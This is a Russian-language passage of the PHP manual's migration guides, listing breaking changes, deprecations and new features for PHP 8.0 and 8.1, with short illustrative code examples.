Изменения, ломающие обратную совместимость

Ядро PHP

Ограничения доступа к $GLOBALS

Доступ к массиву $GLOBALS теперь имеет ряд ограничений. Чтение и запись отдельных элементов массива, как например, $GLOBALS['var'], по-прежнему работает. Чтение всего массива $GLOBALS также поддерживается. Однако операции, связанные с изменением всего $GLOBALS, запрещены. Например, array_pop($GLOBALS) приведёт к ошибке.

Использование static-переменных в унаследованных методах

Когда метод, использующий статические переменные, наследуется (но не переопределяется), унаследованный метод теперь будет использовать статические переменные совместно с родительским методом.

<?php
class A {
public static function counter() {
static $counter = 0;
$counter++;
return $counter;
}
}
class B extends A {}
var_dump(A::counter()); // int(1)
var_dump(A::counter()); // int(2)
var_dump(B::counter()); // int(3), ранее было int(1)
var_dump(B::counter()); // int(4), ранее было int(2)
?>
Это означает, что статические переменные в методах теперь ведут себя так же, как статические свойства.

Необязательные параметры, указанные перед обязательными параметрами

Необязательный параметр, указанный перед обязательными параметрами, теперь всегда обрабатывается как обязательный, даже при вызове с использованием именованных аргументов. Начиная с PHP 8.0.0, но до PHP 8.1.0, приведённый ниже код выдаёт предупреждение об устаревании определения, но успешно выполняется при вызове. Начиная с PHP 8.1.0, выдаётся ошибка класса ArgumentCountError, как это было бы при вызове с позиционными аргументами.

<?php
function makeyogurt($container = "миску", $flavour)
{
return "Готовим $container с $flavour йогуртом.\n";
}
try
{
echo makeyogurt(flavour: "малиновым");
}
catch (Error $e)
{
echo get_class($e), ' - ', $e->getMessage(), "\n";
}
?>

Результат выполнения приведённого примера в PHP 8.0:

Deprecated: Required parameter $flavour follows optional parameter $container
 in example.php on line 3
Готовим миску с малиновым йогуртом.

Результат выполнения приведённого примера в PHP 8.1:

Deprecated: Optional parameter $container declared before required parameter
 $flavour is implicitly treated as a required parameter in example.php on line 3
ArgumentCountError - makeyogurt(): Argument #1 ($container) not passed

Обратите внимание, что значение по умолчанию null может использоваться перед обязательными параметрами для указания типа, допускающего значение null, но этот параметр всё равно будет обязательным.

Совместимость типа возвращаемого значения с внутренними классами

Большинство неокончательных внутренних методов теперь требуют переопределяющих методов для объявления совместимого возвращаемого типа, в противном случае во время проверки наследования выдаётся уведомление об устаревании возможности. В случае, если тип возвращаемого значения не может быть объявлен для метода переопределения из-за проблем совместимости версий PHP, можно добавить атрибут ReturnTypeWillChange, чтобы заглушить уведомление об устаревании.

Новые ключевые слова

readonly теперь является ключевым словом. Однако его можно использовать как имя функции.

never теперь является зарезервированным словом, поэтому его нельзя использовать для названия класса, интерфейса или трейта, а также запрещено использовать в пространствах имён.

Переход от ресурсов к объектам

Несколько ресурсов (resource) теперь представлены как объекты (object). Проверки возвращаемого значения с использованием функции is_resource() следует заменить проверками на false.

  • Функции FileInfo теперь принимают и возвращают объекты finfo вместо ресурсов (resource) fileinfo.

  • Функции FTP теперь принимают и возвращают объекты FTP\Connection вместо ресурсов (resource) ftp.

  • Функции IMAP теперь принимают и возвращают объекты IMAP\Connection вместо ресурсов (resource) imap.

  • The LDAP теперь принимают и возвращают объекты LDAP\Connection вместо ресурсов (resource) ldap link.

  • Функции LDAP теперь принимают и возвращают объекты LDAP\Result вместо ресурсов (resource) ldap result.

  • Функции LDAP теперь принимают и возвращают объекты LDAP\ResultEntry вместо ресурсов (resource) ldap result entry.

  • Функции PgSQL теперь принимают и возвращают объекты PgSql\Connection вместо ресурсов (resource) pgsql link.

  • Функции PgSQL теперь принимают и возвращают объекты PgSql\Result вместо ресурсов (resource) pgsql result.

  • Функции PgSQL теперь принимают и возвращают объекты PgSql\Lob вместо ресурсов (resource) pgsql large object.

  • Функции PSpell теперь принимают и возвращают объекты PSpell\Dictionary вместо ресурсов (resource) pspell.

  • Функции PSpell теперь принимают и возвращают объекты PSpell\Config вместо ресурсов (resource) pspell config.

MySQLi

Функции mysqli_fetch_fields() и mysqli_fetch_field_direct() теперь всегда возвращают 0 в свойстве max_length. Это значение можно вычислить, перебирая набор результатов и выбирая максимальную длину. Такой алгоритм раньше использовал PHP.

Опция MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH больше не имеет смысла.

Опция MYSQLI_STORE_RESULT_COPY_DATA больше не имеет смысла. Передача какого-либо значения в параметр mode метода mysqli::store_result() больше не имеет смысла.

mysqli::connect() теперь возвращает true вместо null в случае успешного выполнения.

Режим обработки ошибок по умолчанию был изменён с "silent" на "exceptions". Смотрите страницу Режимы обработки ошибок MySQLi для получения дополнительных сведений о том, что это влечёт за собой и о том, как явно установить этот атрибут. Чтобы восстановить предыдущее поведение, используйте: mysqli_report(MYSQLI_REPORT_OFF);

Классы, расширяющие mysqli_stmt::execute(), теперь должны указывать дополнительный необязательный параметр.

MySQLnd

INI-директива mysqlnd.fetch_data_copy была удалена. Это не должно приводить к видимым для пользователя изменениям в поведении.

OpenSSL

Секретные ключи EC теперь будут экспортироваться в формате PKCS#8, а не в традиционном формате, как и все другие ключи.

Функции openssl_pkcs7_encrypt() и openssl_cms_encrypt() теперь по умолчанию используют шифр AES-128-CBC, а не RC2-40. Шифр RC2-40 считается небезопасным и не включён по умолчанию в OpenSSL 3.

Объекты данных PHP

Атрибут PDO::ATTR_STRINGIFY_FETCHES теперь преобразовывает логические значения (bool) в "0" или "1". Ранее логические значения (bool) не были строковыми.

Вызов PDOStatement::bindColumn() с PDO::PARAM_LOB теперь будет постоянно связывать результат потока, если PDO::ATTR_STRINGIFY_FETCHES не включён. Раньше результатом был либо поток, либо строка в зависимости от используемого драйвера базы данных и времени выполнения привязки.

Драйвер MySQL

Целые числа и числа с плавающей запятой в наборах результатов теперь будут возвращаться с использованием собственных типов PHP вместо строк (string) при использовании эмулированных подготовленных операторов. Это соответствует поведению собственных подготовленных операторов. Предыдущее поведение можно восстановить, включив опцию PDO::ATTR_STRINGIFY_FETCHES.

Драйвер SQLite

Целые числа и числа с плавающей запятой в наборах результатов теперь будут возвращаться с использованием собственных типов PHP. Предыдущее поведение можно восстановить, включив опцию PDO::ATTR_STRINGIFY_FETCHES.

Phar

Чтобы соответствовать интерфейсу ArrayAccess, Phar::offsetUnset() и PharData::offsetUnset() больше не возвращают логическое значение (bool).

Стандартные функции

version_compare() больше не принимает недокументированные сокращения операторов.

Функции htmlspecialchars(), htmlentities(), htmlspecialchars_decode(), html_entity_decode() и get_html_translation_table() теперь по умолчанию используют ENT_QUOTES | ENT_SUBSTITUTE вместо ENT_COMPAT. Это означает, что теперь ' экранируется в &#039;. Кроме того, в случае неправильного UTF-8 вместо пустой строки будет возвращён замещающий символ Unicode.

debug_zval_dump() теперь выводит refcount ссылочных оболочек с их refcount, вместо того, чтобы просто добавлять & к значению. Это более точно моделирует эталонное представление, начиная с PHP 7.0.

debug_zval_dump() теперь выводит interned вместо фиктивного refcount для интернированных строк и неизменяемых массивов.

Стандартная библиотека PHP (SPL)

SplFixedArray теперь будет закодирован в JSON как массив (array).

User Contributed Notes

There are no user contributed notes for this page.


Устаревшая функциональность

Ядро PHP

Реализация Serializable без __serialize() и __unserialize()

Если не требуется поддержка версий PHP меньше 7.4, должны быть реализованы только эти два магических метода, иначе нужно реализовать как методы интерфейса, так и магические методы.

Передача null параметрам встроенных функций, не допускающим значение NULL

Больше не рекомендуется передавать значение NULL скалярным параметрам встроенных функций. В противном случае теперь будет вызвано уведомление. Такое ограничение было введено, чтобы лучше соответствовать работе пользовательских функций, где параметры, допускающие значение NULL, должны быть для этого явно обозначены.

<?php
var_dump(str_contains("foobar", null));
// Deprecated: Passing null to parameter #2 ($needle) of type string
// is deprecated
?>

Неявная несовместимость преобразования float к int

Теперь нужно избегать неявного преобразования числа с плавающей точкой (float) к целому числу (int), которое приводит потере точности. Это влияет на ключи массива (array), объявления целочисленных (int) типов в принудительном режиме и операторов, работающие с целыми числами (int).

<?php
$a = [];
$a[15.5]; // устарело, поскольку значение ключа теряет компонент 0.5
$a[15.0]; // работает, так как 15.0 == 15
?>

Вызов static-элемента в трейтах

Вызов static-метода или доступ к static-свойству непосредственно в трейте устарел. К статическим методам и свойствам следует обращаться только в классе, использующем трейт.

Возврат не массива (array) из __sleep()

Возвращаемое значение __sleep(), не являющееся массивом, теперь сгенерирует уведомление.

Возврат значения по ссылке из функции void

<?php
function &test(): void {}
?>
Такая функция сбивает с толку, поэтому теперь выдаст следующий E_NOTICE: Only variable references should be returned by reference (По ссылке должны возвращаться только ссылки на переменные).

Автовивификация из false

Автовивификация - это процесс создания нового массива (array) при добавлении нового значения. Автовивификация запрещена для скалярных значений, однако false был исключением. Теперь такое поведение устарело.

<?php
$arr = false;
$arr[] = 2; // устарело
?>

Замечание:

Автовивификация из null и неопределённого значения по-прежнему разрешена:

<?php
// Из неопределённого значения
$arr[] = 'какое-то значение';
$arr['doesNotExist'][] = 2;
// Из null
$arr = null;
$arr[] = 2;
?>

ctype

Проверка нестроковых аргументов

Передача нестрокового аргумента устарела. В будущем аргумент будет интерпретироваться как строка вместо кода ASCII. В зависимости от предполагаемого поведения аргумент должен быть приведён к строке (string) явным образом или через вызов chr(). Это изменение относится ко всем функциям ctype_*().

Date

Функции date_sunrise() и date_sunset() устарели в пользу date_sun_info().

Функция strptime() устарела. Вместо неё используйте date_parse_from_format() (для синтаксического анализа, не зависящего от языкового стандарта) или IntlDateFormatter::parse() (для синтаксического анализа, зависящего от языкового стандарта).

Функция strftime() и gmstrftime() устарели. Используйте вместо них функцию date() (для форматирования, не зависящего от языкового стандарта) или метод IntlDateFormatter::format() (для форматирования, зависящего от языкового стандарта).

Фильтр

Фильтры FILTER_SANITIZE_STRING и FILTER_SANITIZE_STRIPPED устарели.

INI-директива filter.default устарела.

GD

Параметр num_points функции imagepolygon(), imageopenpolygon() и imagefilledpolygon() устарел.

Хеширование

Функции mhash(),
mhash_keygen_s2k(),
mhash_count(),
mhash_get_block_size()
и mhash_get_hash_name() устарели.
Вместо них используйте функции hash_*().

IMAP

Константа NIL устарела. Вместо неё используйте 0.

Intl

Вызов IntlCalendar::roll() с логическим значением (bool) устарел. Используйте 1 и -1 вместо true и false соответственно.

Многобайтовые строки

Вызов mb_check_encoding() без каких-либо аргументов устарел.

MySQLi

Свойство mysqli_driver::$driver_version устарело. Оно было неактуальным, используйте вместо него PHP_VERSION_ID.

Вызов метода mysqli::get_client_info() или mysqli_get_client_info() с аргументом mysqli устарел. Используйте mysqli_get_client_info() без каких-либо аргументов, чтобы получить информацию о версии клиентской библиотеки.

Метод mysqli::init() устарел. Замените вызовы parent::init() на parent::__construct().

OCI8

INI-директива oci8.old_oci_close_semantics устарела.

ODBC

Функция odbc_result_all() устарела.

PDO

Режим выборки PDO::FETCH_SERIALIZE устарел.

PgSQL

Функциям pgsql_*() теперь нужно явно передавать параметр connection.

SOAP

Параметр ssl_method в SoapClient::__construct() устарел в пользу параметров контекста потока SSL.

Стандартные функции

Вызов key(), current(), next(), prev(), reset() или end() с объектами (object) устарел. Либо сначала преобразуйте объект (object) в массив (array) с помощью функции get_mangled_object_vars(), либо используйте методы, предоставляемые классом, реализующим интерфейс Iterator, например, ArrayIterator.

INI-директива auto_detect_line_endings устарела. При необходимости обработайте разрывы строк "\r" вручную.

Константы FILE_BINARY и FILE_TEXT устарели. Они никогда не имели смысла.

User Contributed Notes

There are no user contributed notes for this page.


Другие изменения

Изменения в модулях SAPI

CLI

Использование -a без модуля readline теперь приведёт к ошибке. Ранее использование -a без модуля readline было аналогичным вызову php без каких-либо аргументов, за исключением вывода дополнительного сообщения "Interactive mode enabled". Этот режим был не интерактивным.

PHPDBG

Возможность дистанционной отладки в phpdbg была удалена.

Изменённые функции

Ядро

Порядок свойств, используемых в foreach, var_dump(), serialize(), при сравнении объектов и т.д. был изменён. Теперь свойства упорядочены естественным образом в соответствии с их объявлением и наследованием. Свойства, объявленные в родительском классе, будут перед дочерними.

Этот порядок соответствует внутреннему расположению свойств в структуре zend_object и повторяет порядок в default_properties_table[] и properties_info_table[]. Старый порядок не был задокументирован и был вызван деталями реализации наследования классов.

Фильтрация

Флаг FILTER_FLAG_ALLOW_OCTAL фильтра FILTER_VALIDATE_INT теперь принимает восьмеричную строку с начальным восьмеричным префиксом ("0o"/"0O").

GMP

Все функции GMP теперь принимают восьмеричную строку с начальным восьмеричным префиксом ("0o"/"0O").

PDO ODBC

Вызов PDO::getAttribute() с константой
PDO::ATTR_SERVER_INFO и
PDO::ATTR_SERVER_VERSION
теперь вернёт значение вместо генерации исключения PDOException.

Reflection

Вызов ReflectionProperty::setAccessible() и ReflectionMethod::setAccessible() больше не требуется. Свойства и методы теперь всегда считаются доступными при работе через Reflection.

Стандартные функции

syslog() теперь безопасен для двоичных файлов.

Другие изменения в модулях

GD

imagewebp() теперь может выполнить кодирование WebP без потерь, если передать IMG_WEBP_LOSSLESS параметру quality.

Эта константа определяется только в том случае, если используемый libgd поддерживает кодирование WebP без потерь.

MySQLi

При сборке PHP с библиотекой libmysqlclient теперь доступны функции mysqli_stmt::next_result() и mysqli::fetch_all().

OpenSSL

  • Для модуля OpenSSL теперь требуется OpenSSL версии не ниже 1.0.2.

  • Теперь поддерживается OpenSSL 3.0. Имейте в виду, что многие шифры больше не включены по умолчанию (часть устаревшего провайдера) и проверка параметров (например, минимальные размеры ключей) стала более строгой.

Phar

  • По умолчанию для подписей теперь используется SHA256.

  • Добавлена поддержка подписей OpenSSL_SHA256 и OpenSSL_SHA512.

SNMP

  • Добавлена поддержка SHA256 и SHA512 для протокола безопасности.

Стандартные модули

--with-password-argon2 теперь использует pkg-config для обнаружения libargon2. Таким образом, альтернативный путь к libargon2 теперь должен быть указан в PKG_CONFIG_PATH.

Изменения в обработке INI-файлов

  • INI-директива log_errors_max_len удалена. Начиная с PHP 8.0.0 она уже перестала работать.

  • Доллар в начале строки в кавычках теперь можно экранировать: "\${" теперь будет интерпретироваться как строка с содержимым ${.

  • Обратные слеши в строках с двойными кавычками теперь более последовательно рассматриваются как экранирующие символы. Раньше "foo\\", за которым следовало что-то, кроме новой строки, не считалось завершённой строкой. Теперь это интерпретируется как строка с содержимым foo\. Однако, как исключение, строка "foo\", за которой следует новая строка, будет по-прежнему рассматриваться как корректная строка с содержимым foo\, а не как незавершённая строка. Это исключение необходимо для поддержки простого использования путей к файлам Windows, таких как "C:\foo\".

User Contributed Notes

There are no user contributed notes for this page.


Миграция с PHP 7.4.x на PHP 8.0.x

Содержание

  • Новая функциональность
  • Изменения, которые ломают обратную совместимость
  • Функциональность, объявленная устаревшей в PHP 8.0.x
  • Другие изменения

Новая мажорная версия приносит ряд новых возможностей и несовместимостей, которые требуется протестировать перед переключением версий PHP в производственных средах.

Смотрите также руководство по миграции для версий PHP 7.0.x, 7.1.x, 7.2.x, 7.3.x и 7.4.x.

User Contributed Notes

There are no user contributed notes for this page.


Новая функциональность

Ядро PHP

Именованные аргументы

Добавлена поддержка именованных аргументов.

Атрибуты

Добавлена поддержка атрибутов.

Объявление свойств в конструкторе

Добавлена поддержка определения свойств в конструкторе (объявление свойств в сигнатуре конструктора).

Объединение типов

Добавлена поддержка объединения типов.

Выражение Match

Добавлена поддержка выражения match.

Оператор Nullsafe

Добавлена поддержка оператора Nullsafe (?->).

Другие новые функции

  • Добавлен класс WeakMap.

  • Добавлен класс ValueError.

  • Любое количество параметров функции теперь может быть заменено вариативным аргументом, при совместимости типов. Например, теперь следующий код является допустимым:

    <?php
    class A {
    public function     method(int $many, string $parameters, $here) {}
    }
    class     B extends A {
    public function     method(...$everything) {}
    }
    ?>

  • static (как в "позднем статическом связывании") теперь можно использовать как возвращаемый тип:

    <?php
    class Test {
    public function     create(): static {
    return new static();
    }
    }
    ?>

  • Теперь можно получить имя класса объекта с помощью $object::class. Результат такой же, что и get_class($object).

  • new и instanceof теперь можно использовать с произвольными выражениями, используя new (expression)(...$args) и $obj instanceof (expression).

  • Были внесены некоторые исправления согласованности в синтаксис переменных, например, теперь разрешена запись Foo::BAR::$baz.

  • Добавлен интерфейс Stringable, который автоматически реализуется, если в классе определён метод __toString().

  • Теперь трейты могут определять абстрактные закрытые методы. Такие методы должны быть реализованы классом с помощью трейта.

  • throw теперь можно использовать как выражение. Это означает, что теперь возможно следующее:

    <?php
    $fn     = fn() => throw new Exception('Исключение в стрелочной функции');
    $user = $session->user ?? throw new Exception('Должен быть пользователь');

  • В списках параметров теперь разрешена необязательная завершающая запятая.

    <?php
    function functionWithLongSignature(
    Type1 $parameter1,
    Type2 $parameter2, // <-- Эта запятая теперь разрешена.
    ) {
    }

  • Теперь можно написать catch (Exception) для перехвата исключения, не сохраняя его в переменной.

  • Добавлена поддержка типа mixed.

  • Закрытые методы, объявленные в родительском классе, больше не применяют какие-либо правила наследования для методов дочернего класса (за исключением окончательных закрытых конструкторов). В следующем примере показано, какие ограничения были сняты:

    <?php
    class ParentClass {
    private function     method1() {}
    private function     method2() {}
    private static function     method3() {}
    // Выдаёт предупреждение, так как "final" больше не имеет значения:
    private final function method4() {}
    }
    class     ChildClass extends ParentClass {
    // Теперь все следующее разрешено, хотя модификаторы не такие же,
    // как для закрытых методов в родительском классе.
    public abstract function method1() {}
    public static function     method2() {}
    public function     method3() {}
    public function     method4() {}
    }
    ?>

  • Добавлена функция get_resource_id(), которая возвращает то же значение, что и (int) $resource. Принцип работы такой же, но с более понятным API.

  • Добавлен класс InternalIterator.

Дата и время

  • Были добавлены DateTime::createFromInterface() и DateTimeImmutable::createFromInterface().

  • Добавлен спецификатор формата DateTime p, который аналогичен P, но возвращает Z, а не +00:00 для UTC.

DOM

Добавлены DOMParentNode и DOMChildNode с новыми API-интерфейсами обхода и управления.

Фильтрация данных

FILTER_VALIDATE_BOOL был добавлен в качестве псевдонима для FILTER_VALIDATE_BOOLEAN. Новое имя является предпочтительным, так как оно использует имя канонического типа.

Enchant

Добавлены enchant_dict_add(), enchant_dict_is_added() и LIBENCHANT_VERSION.

FPM

Добавлена новая опция pm.status_listen, позволяющая получать статус с другой конечной точки (например, порта или файла UDS). Это может пригодится для получения статуса, когда все дочерние элементы заняты обработкой долговыполняемых запросов.

Hash

Теперь объекты HashContext можно сериализовать.

Функции интернационализации

Добавлены константы IntlDateFormatter::RELATIVE_FULL,
IntlDateFormatter::RELATIVE_LONG,
IntlDateFormatter::RELATIVE_MEDIUM и
IntlDateFormatter::RELATIVE_SHORT.

LDAP

Добавлена функция ldap_count_references(), которая возвращает количество ссылочных сообщений в результатах поиска.

OPcache

Если ini-параметр opcache.record_warnings включён, OPcache будет записывать предупреждения во время компиляции и воспроизводить их при следующем включении, даже если они обслуживаются из кеша.

OpenSSL

Добавлена поддержка синтаксиса криптографических сообщений (CMS) (» RFC 5652), состоящего из функций для шифрования, дешифрования, подписи, проверки и чтения. API похож на API для функций PKCS #7 с добавлением новых констант кодирования: OPENSSL_ENCODING_DER, OPENSSL_ENCODING_SMIME и OPENSSL_ENCODING_PEM:

  • openssl_cms_encrypt() шифрует сообщение в файле с сертификатами и выводит результат в предоставленный файл.
  • openssl_cms_decrypt() расшифровывает сообщение S/MIME в файле и выводит результаты в предоставленный файл.
  • openssl_cms_read() экспортирует файл CMS в массив сертификатов PEM.
  • openssl_cms_sign() подписывает сообщение MIME в файле сертификатом и ключом и выводит результат в предоставленный файл.
  • openssl_cms_verify() проверяет, что блок данных не повреждён, подписывающая сторона является тем, кем она являются и возвращает сертификаты подписывающих сторон.

Регулярные выражения (совместимые с Perl)

Добавлена функция preg_last_error_msg(), которая возвращает человекочитаемое сообщение о последней ошибке PCRE. Она дополняет preg_last_error(), которая возвращает целочисленное значение перечисления.

Reflection

  • Следующие методы теперь могут возвращать информацию о значениях параметров внутренних функций по умолчанию:

    • ReflectionParameter::isDefaultValueAvailable()
    • ReflectionParameter::getDefaultValue()
    • ReflectionParameter::isDefaultValueConstant()
    • ReflectionParameter::getDefaultValueConstantName()

SQLite3

SQLite3::setAuthorizer() и соответствующие константы классов были добавлены, с помощью которых можно задать собственную callback-функцию для авторизации или запрета действия в базе данных.

Библиотека стандартных функций

  • Добавлены функции str_contains(), str_starts_with() и str_ends_with(), которые проверяют, содержит ли haystack, начинается или заканчивается needle соответственно.

  • Добавлена функция fdiv(), которая выполняет деление с плавающей точкой в соответствии с IEEE 754. Деление на ноль строго определено и возвращает одно из значений: Inf, -Inf или NaN.

  • Добавлена функция get_debug_type(), которая возвращает тип, который может использоваться для генераций сообщений об ошибках. В отличие от gettype(), она использует канонические имена типов, возвращает имена классов объектов и сообщает о типе ресурсов.

  • printf() и её производные теперь поддерживают спецификаторы формата %h и %H. Они работают как %g и %G, но всегда используют "." в качестве десятичного разделителя, а не определяют его с помощью локали LC_NUMERIC.

  • printf() и её производные теперь поддерживают использование "*" в качестве ширины или точности, и в этом случае ширина/точность передаётся в качестве аргумента printf. Это также позволяет использовать точность -1 с %g, %G, %h и %H. Например, следующий код можно использовать для воспроизведения форматирования с плавающей точкой по умолчанию PHP:

    <?php
    printf    ("%.*H", (int) ini_get("precision"), $float);
    printf("%.*H", (int) ini_get("serialize_precision"), $float);
    ?>

  • proc_open() теперь поддерживает дескрипторы псевдотерминала (PTY). Следующий код присоединяет stdin, stdout и stderr к одному и тому же PTY:

    <?php
    $proc     = proc_open($command, [['pty'], ['pty'], ['pty']], $pipes);
    ?>

  • proc_open() теперь поддерживает дескрипторы пары сокетов. Следующий код присоединяет отдельную пару сокетов к stdin, stdout и stderr:

    <?php
    $proc     = proc_open($command, [['socket'], ['socket'], ['socket']], $pipes);
    ?>

    В отличие от каналов, у сокетов нет проблем с блокировкой ввода-вывода в Windows. Однако не все программы могут корректно работать с сокетами stdio.

  • Функции сортировки теперь используют устойчивую сортировку, это означает, что сравниваемые элементы сохранят исходный порядок.

  • array_diff(), array_intersect() и их производные теперь могут использоваться с одним массивом в качестве аргумента. Это означает, что теперь возможно следующее:

    <?php
    // Работает, даже если $excludes пуст:
    array_diff($array, ...$excludes);
    // Работает, даже если $array содержит только один массив:
    array_intersect(...$arrays);
    ?>

  • Параметр flag в функции ob_implicit_flush() был изменён, и теперь принимает логическое значение (bool), а не целое число (int).

Лексер (Tokenizer)

PhpToken добавляет объектно-ориентированный интерфейс к PHP-лексеру (tokenizer). Он обеспечивает более единообразное и эргономичное представление, в то же время эффективнее и быстрее.

Zip

  • Модуль Zip обновлён до версии 1.19.1.

  • Новые методы ZipArchive::setMtimeName() и ZipArchive::setMtimeIndex() для установки времени изменения записи.

  • Новый метод ZipArchive::registerProgressCallback() для предоставления обновлений во время закрытия архива.

  • Новый метод ZipArchive::registerCancelCallback(), чтобы разрешить отмену во время закрытия архива.

  • Новый метод ZipArchive::replaceFile() для замены содержимого записи.

  • Новый метод ZipArchive::isCompressionMethodSupported(), чтобы проверить дополнительные возможности сжатия.

  • Новый метод ZipArchive::isEncryptionMethodSupported(), чтобы проверить дополнительные функции шифрования.

  • Добавлено свойство ZipArchive::lastId для получения значения индекса последней добавленной записи.

  • Теперь ошибки можно проверить после закрытия и с помощью свойств
ZipArchive::status и
ZipArchive::statusSys или метода
ZipArchive::getStatusString().

  • Параметр 'remove_path' в ZipArchive::addGlob() и ZipArchive::addPattern() теперь обрабатывается как произвольный строковый префикс (для согласованности с 'add_path'), тогда как раньше он интерпретировался как имя каталога.

  • Дополнительные функции сжатия/шифрования теперь перечислены в phpinfo.

User Contributed Notes

There are no user contributed notes for this page.


Изменения, которые ломают обратную совместимость

Ядро PHP

Сравнение строк с числами

Нестрогие сравнения чисел и нечисловых строк теперь работают как преобразование числа в строку с последующим сравнением строк. Сравнение чисел и числовых строк работает, как и раньше. В частности, это означает, что 0 == "not-a-number" теперь выдаст false.

Сравнение | До | После
0 == "0" | true | true
0 == "0.0" | true | true
0 == "foo" | true | false
0 == "" | true | false
42 == " 42" | true | true
42 == "42foo" | true | false

Другие изменения, которые ломают обратную совместимость

  • match теперь зарезервированное ключевое слово.

  • mixed теперь зарезервированное слово, поэтому его нельзя использовать для названия класса, интерфейса или черты, а также запрещено использовать в пространствах имён.

  • Ошибки утверждений (assertions) теперь выбрасываются по умолчанию. Если предпочтительнее старое поведение, assert.exception=0 можно установить в INI-настройках.

  • Методы с именем как у класса больше не интерпретируются как конструкторы. Вместо этого следует использовать метод __construct().

  • Возможность статического вызова нестатических методов удалена. Таким образом, функция is_callable() завершится ошибкой при проверке нестатического метода с именем класса (необходимо проверять с экземпляром объекта).

  • Приведения типов (real) и (unset) удалили.

  • INI-директиву track_errors удалили. Это означает, что php_errormsg больше не актуален. Вместо него пользуются функцией error_get_last().

  • Больше нельзя определять константы без учёта регистра. Больше нельзя устанавливать для третьего параметра функции define() значение true.

  • Больше нельзя указывать автозагрузчик через функцию __autoload(). Вместо этого рекомендуют пользоваться функцией spl_autoload_register().

  • Аргумент errcontext больше не передаётся в пользовательские обработчики ошибок, которые задали функцией set_error_handler().

  • Функцию create_function() удалили. Вместо неё пользуются анонимными функцииями.

  • Функцию each() удалили. Вместо неё пользуются конструкцией foreach или классом ArrayIterator.

  • Больше нельзя отвязать переменную this от замыканий, которые создали из методов Closure::fromCallable() или ReflectionMethod::getClosure().

  • Больше нельзя отвязать переменную this от правильных замыканий, которые содержат this.

  • Функцию array_key_exists() больше нельзя вызывать с объектами. Вместо этого можно использовать isset() или property_exists().

  • Работа параметра key в функции array_key_exists() теперь приведена в соответствии с isset() и обычным доступом к массиву. Все типы ключей теперь используют обычное приведение типов, массив/объект к ключе приведёт к выбрасыванию TypeError.

  • Любой массив, у которого в качестве первого числового ключа указано число n, будет использовать n+1 для своего следующего неявного ключа, даже если n отрицательно.

  • Уровень error_reporting по умолчанию теперь E_ALL. Ранее он исключал E_NOTICE и E_DEPRECATED.

  • display_startup_errors теперь включён по умолчанию.

  • Использование parent внутри класса, у которого нет родителя, теперь приведёт к фатальной ошибке во время компиляции.

  • Оператор @ больше не подавляет фатальные ошибки (E_ERROR, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR, E_RECOVERABLE_ERROR, E_PARSE). Обработчики ошибок, которые ожидают, что error_reporting будет иметь значение 0 при использовании оператора @, должны делать такие проверки через битовую маску:

    <?php
    // Замените это
    function my_error_handler($err_no, $err_msg, $filename, $linenum) {
    if (    error_reporting() == 0) {
    return     false;
    }
    // ...
    }

    // На это
    function my_error_handler($err_no, $err_msg, $filename, $linenum) {
    if (!(    error_reporting() & $err_no)) {
    return     false;
    }
    // ...
    }
    ?>

    Кроме этого, обязательно следует скрыть отображение сообщений об ошибках в производственной среде, которые могут привести к утечке информации. Проверьте, что display_errors=Off используется вместе с включённой записью журнала ошибок.

  • #[ больше не интерпретируется как начало комментария, так как этот синтаксис теперь используется для атрибутов.

  • Ошибки наследования из-за несовместимых сигнатур методов (нарушения LSP) теперь всегда вызывают фатальную ошибку. Ранее в некоторых случаях выдавалось предупреждение.

  • Приоритет оператора конкатенации изменился относительно сдвигов битов и сложения, а также вычитания.

    <?php
    echo "Сумма: " . $a + $b;
    // ранее интерпретировалось как:
    echo ("Сумма: " . $a) + $b;
    // сейчас интерпретируется как:
    echo "Сумма:" . ($a + $b);
    ?>

  • Аргументы со значением по умолчанию, которое разрешается в null во время выполнения, больше не будут неявно помечать тип аргумента как nullable. Вместо этого нужно указывать либо явный тип, разрешающий значение null, либо явное значение null по умолчанию.

    <?php
    // Замените этот код:
    function test(int $arg = CONST_RESOLVING_TO_NULL) {}
    // На этот:
    function test(?int $arg = CONST_RESOLVING_TO_NULL) {}
    // На этот (альтернативный вариант):
    function test(int $arg = null) {}
    ?>

  • Ряд предупреждений преобразован в исключения Error:

    • Попытка записи в свойство несуществующего объекта. Ранее это неявно создавало объект stdClass в случае null, false и пустых строк.
    • Попытка добавить элемент в массив, для которого уже используется ключ PHP_INT_MAX.
    • Попытка использовать недопустимый тип (массив или объект) в качестве ключа массива или смещения строки.
    • Попытка записать в индекс массива скалярное значение.
    • Попытка распаковать значение, не являющее массивом/Traversable.
    • Попытка получить доступ к неквалифицированным константам, которые не определены. Ранее неквалифицированный доступ к константам приводил к предупреждению и интерпретировался как строка.
    • Передача неверного количества аргументов в невариативную встроенную функцию приведёт к исключению ArgumentCountError.
    • Передача недопустимых исчисляемых типов в функцию count() выбросит исключение TypeError.

    Ряд уведомлений преобразован в предупреждения:

    • Попытка прочитать неопределённую переменную.
    • Попытка прочитать неопределённое свойство.
    • Попытка прочитать неопределённый ключ массива.
    • Попытка прочитать свойство не-объекта.
    • Попытка получить доступ к индексу массива не-массива.
    • Попытка преобразовать массив в строку.
    • Попытка использовать ресурс в качестве ключа массива.
    • Попытка использовать null, логическое значение или число с плавающей точкой в качестве строкового смещения.
    • Попытка прочитать смещение строки за пределами допустимой границы.
    • Попытка присвоить смещению строки пустую строку.

  • При попытке назначить несколько байтов смещению строки теперь будет выдано предупреждение.

  • Неожиданные символы в исходных файлах (например, байты NUL за пределами строк) теперь будут приводить к исключению ParseError вместо предупреждения при компиляции.

  • Неперехваченные исключения теперь проходят процедуру "чистого завершения", это означает, что после неперехваченного исключения будут вызываться деструкторы.

  • Фатальная ошибка времени компиляции "Only variables can be passed by reference" была отложена до времени выполнения и преобразована в исключение Error "Argument cannot be passed by reference".

  • Некоторые уведомления "Only variables can be passed by reference" были преобразованы в исключение "Argument cannot be passed by reference".

  • Сгенерированное имя для анонимных классов изменилось. Теперь он будет включать имя первого родителя или интерфейса:

    <?php
    new class extends ParentClass {};
    // -> ParentClass@anonymous
    new class implements FirstInterface, SecondInterface {};
    // -> FirstInterface@anonymous
    new class {};
    // -> class@anonymous
    ?>

    За новыми именами по-прежнему будет следовать NUL-байт и уникальный суффикс.

  • Ссылки на неабсолютные трейты методов в адаптациях псевдонимов трейтов теперь должны быть однозначными:

    <?php
    class X {
    use     T1, T2 {
    func as otherFunc;
    }
    function     func() {}
    }
    ?>

